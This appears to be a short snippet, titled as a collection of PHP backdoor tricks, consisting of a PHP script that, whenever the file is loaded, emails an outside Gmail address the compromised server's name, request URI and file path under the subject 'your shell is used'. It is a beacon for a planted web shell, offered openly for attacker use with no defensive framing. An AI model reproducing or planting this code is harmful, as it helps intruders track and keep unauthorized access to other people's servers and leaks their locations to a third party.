PHP Backdoors & Trickz

<?php
$to = "x31337666@gmail.com";
$subject = "your shell is used";
$header = "from: New Shell <x31337666@gmail.com>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$message .= "Path : " . __file__;
$sentmail = mail($to, $subject, $message, $header);
?>